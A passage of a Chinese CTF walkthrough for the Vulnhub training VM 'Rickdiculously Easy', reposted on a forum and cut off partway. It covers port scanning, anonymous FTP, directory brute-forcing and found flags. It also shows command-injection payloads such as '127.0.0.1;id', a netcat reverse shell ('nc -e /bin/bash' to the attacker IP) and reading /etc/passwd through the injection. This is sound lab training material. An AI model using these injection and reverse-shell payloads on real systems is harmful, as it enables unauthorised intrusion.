搜索

[12780] 2018-06-03_CTF挑战130分Rickdiculously1.0

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-06-03_CTF挑战130分Rickdiculously1.0 C T F 挑 战 1 3 0 分   |   R i c k d i c u l o u s l y   1 . 0 S e t u p   F r e e B u f   2 0 1 8 - 0 6 - 0 3 简 介 简 介 V u l n h u b 简 介 简 介 V u l n h u b 是 一 个 提 供 各 种 漏 洞 环 境 的 靶 场 平 台 ， 供 安 全 爱 好 者 学 习 渗 透 使 用 ， 大 部 分 环 境 是 做 好 的 虚 拟 机 镜 像 文 件 ， 镜 像 预 先 设 计 了 多 种 漏 洞 ， 需 要 使 用 V M w a r e 或 者 V i r t u a l B o x 运 行 。 每 个 镜 像 会 有 破 解 的 目 标 ， 大 多 是 B o o t 2 r o o t ， 从 启 动 虚 机 到 获 取 操 作 系 统 的 r o o t 权 限 和 查 看 f l a g 。 官 网 ： h t t p s : / / w w w . v u l n h u b . c o m 下 载 链 接 下 载 链 接 h t t p s : / / d o w n l o a d . v u l n h u b . c o m / r i c k d i c u l o u s l y e a s y / R i c k d i c u l o u s l y E a s y . z i p 靶 机 说 明 靶 机 说 明 靶 机 用 V a l u a l B o x 创 建 ， 是 一 个 面 向 初 学 者 设 计 的 C T F ， 简 单 的 B o o t   t o   r o o t 游 戏 ， 同 时 里 面 有 合 计 1 3 0   p o i n t s 的 F l a g 。 目 标 目 标 B o o t   t o   r o o t ： 获 得 r o o t 权 限 ， 并 获 得 合 计 1 3 0   p o i n t s 的 F l a g 。 运 行 环 境 运 行 环 境 靶 机 ： 通 过 V a l u a l B o x 打 开 虚 拟 机 ， 网 络 连 接 方 式 设 置 为 主 机 模 式 （ h o s t - o n l y ） ， 虚 拟 机 启 动 后 会 显 示 I P 是 1 9 2 . 1 6 8 . 5 6 . 1 0 1 。 攻 击 机 ： 同 网 段 下 有 W i n d o w s 攻 击 机 （ 物 理 机 ） ， I P 地 址 ： 1 9 2 . 1 6 8 . 5 6 . 1 0 0 ， 安 装 有 N m a p 、 B u r p s u i t 、 W i r e s h a r k 、 S q l m a p 、 n c 、 H y d r a 、 P y t h o n 2 . 7 、 D i r B u s t e r 、 A W V S 、 N e s s u s 等 渗 透 工 具 。 同 样 推 荐 使 用 K a l i   L i n u x 作 为 攻 击 机 ， 预 装 了 全 面 的 渗 透 工 具 。 信 息 收 集 信 息 收 集 端 口 服 务 识 别 端 口 服 务 识 别 启 动 虚 拟 机 ， 由 于 I P 已 知 ， 使 用 n m a p 扫 描 端 口 ， 并 做 服 务 识 别 和 深 度 扫 描 （ 加 - A 参 数 ） ， 扫 描 结 果 保 存 到 t x t 文 件 ， 命 令 ：
汇 总 开 放 的 端 口 和 服 务 ： 端 口   服 务   后 台 系 统   或   提 示 信 息 2 1   F T P   v s f t p d 3 . 0 . 3   允 许 匿 名 登 录 2 2   未 知 服 务   W e l c o m e   t o   U b u n t u   1 4 . 0 4 . 5   L T S   ( G N U / L i n u x   4 . 4 . 0 - 3 1 - g e n e r i c   x 8 6 _ 6 4 ) 8 0   h t t p   A p a c h e   h t t p d   2 . 4 . 2 7   ( ( F e d o r a ) 9 0 9 0   h t t p   C o c k p i t   w e b   s e r v i c e 1 3 3 3 7   未 知 服 务   获 得 F L A G : { T h e y F o u n d M y B a c k D o o r M o r t y } - 1 0 P o i n t s 2 2 2 2 2   s s h   O p e n S S H   7 . 5   ( p r o t o c o l   2 . 0 ) 6 0 0 0 0   未 知 服 务   W e l c o m e   t o   R i c k s   h a l f   b a k e d   r e v e r s e   s h e l l 漏 洞 挖 掘 漏 洞 挖 掘 渗 透 思 路 ： ( 1 )   依 次 查 看 每 个 端 口 运 行 的 服 务 ， 能 直 接 利 用 则 获 得 F l a g 。 ( 2 )   先 查 看 全 部 非 W e b 服 务 ， 再 查 看 W e b 服 务 ， 通 常 会 通 过 W e b 服 务 入 手 获 得 s h e l l 后 提 权 。 ( 3 )   最 后 聚 焦 W e b 服 务 进 行 w e b 渗 透 和 提 权 。 0 x 0 1   端 口 端 口 1 3 3 3 7 ： ： 1 0   P o i n t s 一 血 ， 信 息 收 集 时 N m a p 扫 描 1 3 3 3 7 扫 描 得 到 F l a g ， 1 0   P o i n t s 。 总 分 ： 1   f l a g ， t o t a l   1 0   p o i n t s / 1 3 0   p o i n t s F L A G : { T h e y F o u n d M y B a c k D o o r M o r t y } - 1 0   P o i n t s
0 x 0 2   端 口 端 口 2 1 ： ： F T P 匿 名 登 录 ， 匿 名 登 录 ， 1 0   P o i n t s N m a p 扫 描 发 现 2 1 端 口 的 F T P 允 许 匿 名 登 录 ， 使 用 任 何 F T P 工 具 或 者 F T P 命 令 匿 名 登 录 2 1 端 口 ， 如 下 截 图 使 用 X f t p 登 录 ： 获 得 F L A G { W h o a   t h i s   i s   u n e x p e c t e d }   -   1 0   P o i n t s 总 分 ： 2   f l a g s ， t o t a l   2 0   p o i n t s / 1 3 0   p o i n t s 0 x 0 3   端 口 端 口 9 0 9 0 ： ： h t t p s 网 页 ， 网 页 ， 1 0   P o i n t s 访 问 h t t p s : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 1 : 9 0 9 0 / ， 在 W e b 页 面 获 得 F l a g ： 总 分 ： 3   f l a g s ， t o t a l   3 0   p o i n t s / 1 3 0   p o i n t s F L A G   { T h e r e   i s   n o   Z e u s ,   i n   y o u r   f a c e ! }   -   1 0   P o i n t s
0 x 0 4   端 口 端 口 2 2 ： 获 得 系 统 及 内 核 版 本 ： 获 得 系 统 及 内 核 版 本 N m a p 扫 描 发 现 2 2 端 口 不 是 s s h 服 务 ， s s h 在 2 2 2 2 2 端 口 ， 使 用 n c 连 接 2 2 端 口 ： n c   - n v   1 9 2 . 1 6 8 . 5 6 . 1 0 1   2 2 获 得 内 核 和 系 统 版 本 ： U b u n t u   1 4 . 0 4 . 5   L T S   ( G N U / L i n u x   4 . 4 . 0 - 3 1 - g e n e r i c   x 8 6 _ 6 4 ) 0 x 0 5   端 口 端 口 2 2 2 2 2 ： ： s s h 服 务 服 务 N m a p 扫 描 时 发 现 2 2 2 2 2 端 口 运 行 s s h 服 务 ， 使 用 X s h e l l 工 具 连 接 ， 目 前 没 有 获 得 用 户 名 密 码 ， 暂 无 法 登 录 。 0 x 0 6   端 口 端 口 6 0 0 0 0 ： 用 户 ： 用 户 s h e l l ， ， 1 0   P o i n t s N m a p 扫 描 时 发 现 提 示 W e l c o m e   t o   R i c k s   h a l f   b a k e d   r e v e r s e   s h e l l ， 这 是 一 个 s h e l l ， 使 用 n c 连 接 成 功 ： n c   - n v 1 9 2 . 1 6 8 . 5 6 . 1 0 1   6 0 0 0 0 ， 查 看 目 录 和 文 件 发 现 F l a g 。 F L A G { F l i p   t h e   p i c k l e   M o r t y ! }   -   1 0   P o i n t s 总 分 ： 4   f l a g s ， t o t a l   4 0   p o i n t s / 1 3 0   p o i n t s
检 测 该 s h e l l 权 限 ， w h o a m i 命 令 显 示 是 r o o t ， 但 是 该 s h e l l 只 有 访 问 F l a g 和 执 行 几 个 命 令 的 权 限 ， 无 法 进 一 步 利 用 。 至 此 已 访 问 全 部 非 W e b 端 口 ， 共 获 得 了 4 个 F l a g ， 4 0   P o i n t s 。 继 续 访 问 8 0 端 口 w e b 服 务 。 0 x 0 7   端 口 端 口 8 0 ： 暴 破 目 录 和 获 得 ： 暴 破 目 录 和 获 得 F l a g ( 1 )   访 问 h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 1 / 进 入 首 页 ： W i n d o w s 下 使 用 D i r B u s t e r 工 具 进 行 目 录 暴 破 ， k a l i 下 可 使 用 d i r b 工 具 暴 破 ： 获 得 p a s s w o r d s 目 录 ， F l a g 和 p a s s w o r d s . h t m l 页 面 ， 依 次 访 问 。 ( 2 )   目 录 h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 1 / p a s s w o r d s / ：
( 3 )   访 问 p a s s w o r d s 目 录 下 的 F L A G . t x t ： 1 0   P o i n t s F L A G { Y e a h   d -   j u s t   d o n ’ t   d o   i t . }   -   1 0   P o i n t s 总 分 ： 5   f l a g s ， t o t a l   5 0   p o i n t s / 1 3 0   p o i n t s ( 4 )   访 问 p a s s w o r d s . h t m l 页 面 ， 获 得 密 码 ： 提 示 该 页 面 存 储 了 密 码 S t o r i n g   p a s s w o r d s   i n   a   f i l e   c a l l e d   p a s s w o r d s . h t m l 查 看 网 页 源 码 获 得 密 码 w i n t e r 0 x 0 8   通 过 通 过 r o b o t s . t x t 找 到 命 令 执 行 页 面 找 到 命 令 执 行 页 面 ( 1 )   读 取 r o b o t s . t x t 文 件 （ 也 可 以 通 过 d i r b 暴 破 出 r e b o t s . t x t ） ：
发 现 有 两 个 文 件 ： / c g i - b i n / r o o t _ s h e l l . c g i 和 / c g i - b i n / t r a c e r t o o l . c g i ， 第 一 个 疑 似 r o o t   s h e l l 。 ( 2 )   访 问 / c g i - b i n / r o o t _ s h e l l . c g i   提 示 正 在 建 设 中 。 ( 3 )   访 问 / c g i - b i n / t r a c e r t o o l . c g i ， 发 现 p i n g 命 令 执 行 界 面 ， 可 以 p i n g 一 个 I P ， 输 入 1 2 7 . 0 . 0 . 1 ; i d 即 可 执 行 i d 命 令 ： 获 取 获 取 s h e l l 0 x 0 9   命 令 执 行 获 得 命 令 执 行 获 得 s h e l l ( 1 )   命 令 执 行 好 获 得 s h e l l 有 多 种 姿 势 ， 使 用 n c 反 弹 s h e l l ， 执 行 命 令 1 2 7 . 0 . 0 . 1 ; n c   - e   / b i n / b a s h   1 9 2 . 1 6 8 . 5 6 . 1 0 0   4 4 4 4 ( 2 )   w i n d o w s 攻 击 机 开 启 n c 监 听 4 4 4 4 端 口 ， 并 接 收 反 弹 s h e l l 成 功 ：
( 3 )   读 取 / e t c / p a s s w d c a t 命 令 被 替 换 成 了 猫 猫 的 图 形 ， m o r e 命 令 在 s h e l l 中 不 回 显 。 执 行 n l   / e t c / p a s s w d 读 取 文 件 ， 或 者 在 执 行 p i n g 命 令 的 / c g i - b i n / t r a c e r t o o l . c g i 页 面 输 入 1 2 7 . 0 . 0 . 1 ; m o r e   / e t c / p a s s w d 也 可 以 读 取
系 统 中 存 在 3 个 用 户 ： R i c k S a n c h e z 、 M o r t y 和 S u m m e r 。 ( 4 )   之 前 已 经 获 得 了 一 个 密 码 w i n t e r ， 尝 试 用 这 个 密 码 登 录 3 个 用 户 的 s s h （ 2 2 2 2 2 端 口 ） 和 F T P ： 用 户 名 S u m m e r ， 密 码 w i n t e r 登 录 成 功 。 在 x s h e l l 中 s s h 登 录 并 获 得 F l a g 或 者 在 x f t p 中 登 录 S u m m e r 账 号 并 获 得 F l a g ：
F L A G { G e t   o f f   t h e   h i g h   r o a d   S u m m e r ! }   -   1 0   P o i n t s 总 分 ： 6   f l a g s ， t o t a l   6 0   p o i n t s / 1 3 0   p o i n t s 0 x 1 0   查 找 其 他 用 户 的 文 件 和 查 找 其 他 用 户 的 文 件 和 F l a g ( 1 )   查 找 用 户 R i c k S a n c h e z 和 M o r t y 的 文 件 命 令 f i n d   /   - u s e r   R i c k S a n c h e z   2 > / d e v / n u l l 和 f i n d   /   - u s e r   M o r t y   2 > / d e v / n u l l ， 在 h o m e 目 录 用 t r e e 命 令 列 出 文 件 ： 发 现 可 以 读 取 两 个 用 户 h o m e 目 录 里 面 的 问 文 件 ， 分 别 进 去 查 找 隐 藏 文 件 。 ( 2 )   M o r t y 的 文 件 和 F l a g 进 入 M o r t y 目 录 ， 发 现 j o u r n a l . t x t . z i p 和 S a f e _ P a s s w o r d . j p g 文 件
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理